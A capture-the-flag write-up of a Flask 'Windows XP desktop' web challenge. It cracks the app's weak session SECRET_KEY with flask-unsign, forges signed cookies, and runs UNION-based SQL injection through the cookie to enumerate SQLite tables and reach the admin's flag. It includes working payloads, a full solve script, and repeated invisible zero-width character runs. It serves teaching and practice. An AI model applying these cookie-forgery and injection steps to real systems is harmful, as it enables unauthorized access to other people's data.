← Back to Writeups
CUSTOMMediumWeb

Рабочий стол (Desktop)

XESXOR9/2/20264 min read
#web#custom#medium#flask_session_forgery#secret_key_wordlist_bruteforce#sqlite_schema_enumeration#union_based_sqli_via_signed_co

Рабочий стол (Desktop)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: flask_session_forgery, secret_key_wordlist_bruteforce, sqlite_schema_enumeration, union_based_sqli_via_signed_cookie

Summary

Walkthrough of the CUSTOM Web Рабочий стол (Desktop). Task: Flask 'Windows XP desktop' app; guest session cookie {"user":"guest"} drives a SQLite file-list query; admin desk locked. Solution: crack the weak SECRET_KEY (crazy1) with flask-unsign, then

Description

Сделал лёгкий веб-«рабочий стол» в стиле старой Windows: заходишь гостем, открываешь свои файлы в блокноте. Доступ к чужим столам, само собой, закрыт — туда без логина и пароля администратора не попасть ;) Формат флага: CODEBY{...}

English summary: A Flask web app renders a Windows-XP-style "desktop". You enter as guest and can open your own files in a "notepad". The administrator's desktop is supposedly protected — "you can't get there without the admin's login and password." Goal: reach the admin desktop and read the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Recon of http://62.173.140.174:16125:

bash
curl -sI http://62.173.140.174:16125/
# Server: Werkzeug/3.1.8 Python/3.9.25

The app is Flask (Werkzeug) and issues a Flask session cookie:

session=eyJ1c2VyIjoiZ3Vlc3QifQ...<sig>

The payload part base64-decodes to the session dict:

bash
echo 'eyJ1c2VyIjoiZ3Vlc3QifQ' | base64 -d
# {"user":"guest"}

Application surface (only two real routes):

  • / — a loader that redirects, then (with a valid session) renders the XP-style Desktop listing the current user's files.
  • /open_file/<name> — opens a file into a "notepad" <textarea>. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The guest desktop lists a single file README.txt. Opening /open_file/README.txt shows text stating the objective: reach the administrator's desktop, but "we don't know his username and password." Opening a .py/non-existent file triggers a joke BSOD page; a non-matching route returns 404.

Key observation: the desktop file list is populated from the user value taken out of the signed session cookie. Since the cookie is signed, the server trusts that value — but signing guarantees only integrity, not that the value is safe to concatenate into a SQL query. If we can forge cookies, we control that value. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1 — Crack the Flask SECRET_KEY

The default flask-unsign wordlist failed. rockyou.txt succeeded (key found after 1408 attempts):

bash
flask-unsign --unsign \
  --cookie 'eyJ1c2VyIjoiZ3Vlc3QifQ.<sig>' \
  --wordlist /usr/share/wordlists/rockyou.txt \
  --no-literal-eval
# [+] Found secret key after 1408 attempts
# 'crazy1'

SECRET_KEY = crazy1. With the secret we can forge arbitrary signed sessions.

Step 2 — Dead ends (skip these)

  • Forging {"user":"admin"} (also administrator, root, …) → an empty desktop (no such folder/user), not the flag.
  • Brute-forcing usernames (10,713 name list + ~64k top usernames) via the listing → nothing.
  • Path traversal in open_file (../, %2e%2e%2f, …) → normalized/blocked by Werkzeug. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3 — SQL injection through the signed user value

The user field is concatenated into the SQLite query that builds the file list. Because we sign the cookie ourselves, we control the injection.

Sign a probe with the Python module:

python
import flask_unsign
print(flask_unsign.sign({'user': "' OR 1=1--"}, secret='crazy1'))

Sending that cookie makes the desktop list both README.txt and flag.txt (the injected value is trusted server-side because the cookie is validly signed) — SQLi confirmed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Determine column count (first column is rendered as the filename):

' OR 1=1 ORDER BY 2--    -> OK
' OR 1=1 ORDER BY 3--    -> error   => 2 columns

Enumerate the schema with UNION-based injection (selecting into column 1):

' UNION SELECT name,1 FROM sqlite_master--
   -> tables: sqlite_sequence, users

' UNION SELECT sql,1 FROM sqlite_master WHERE name='users'--
   -> CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        user TEXT NOT NULL,
        filename TEXT NOT NULL,
        data TEXT NOT NULL)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

' UNION SELECT user,1 FROM users--
   -> distinct users: Morris, guest

The real admin account name is Morris (not admin).

Step 4 — Recover the flag

Forge a normal (non-injection) session as Morris and open the file the desktop now lists:

python
import flask_unsign
cookie = flask_unsign.sign({'user': 'Morris'}, secret='crazy1')
bash
curl -s "http://62.173.140.174:16125/open_file/flag.txt" \
     -H "Cookie: session=$COOKIE"
# notepad <textarea> => CODEBY{REDACTED}

Full solve script

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import flask_unsign, requests, re

BASE   = "http://62.173.140.174:16125"
SECRET = "crazy1"  # cracked from rockyou.txt via flask-unsign (1408 attempts)

def desk(user_value):
    cookie = flask_unsign.sign({'user': user_value}, secret=SECRET)
    return requests.get(BASE + "/", cookies={"session": cookie}).text

def open_file(user_value, name):
    cookie = flask_unsign.sign({'user': user_value}, secret=SECRET)
    return requests.get(f"{BASE}/open_file/{name}", cookies={"session": cookie}).text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 1) confirm SQLi (both README.txt and flag.txt appear)
assert "flag.txt" in desk("' OR 1=1--")

# 2) enumerate real users via UNION injection
listing = desk("' UNION SELECT user,1 FROM users--")
print("users listing:", re.findall(r'>([^<>]+?)<', listing))  # includes Morris

# 3) forge admin session and read the flag
html = open_file("Morris", "flag.txt")
print(re.search(r'CODEBY\{[^}]+\}', html).group(0))
# CODEBY{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering flask_session_forgery, secret_key_wordlist_bruteforce, sqlite_schema_enumeration, union_based_sqli_via_signed_cookie was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-10 • CUSTOM • Рабочий стол (Desktop) • Difficulty: Medium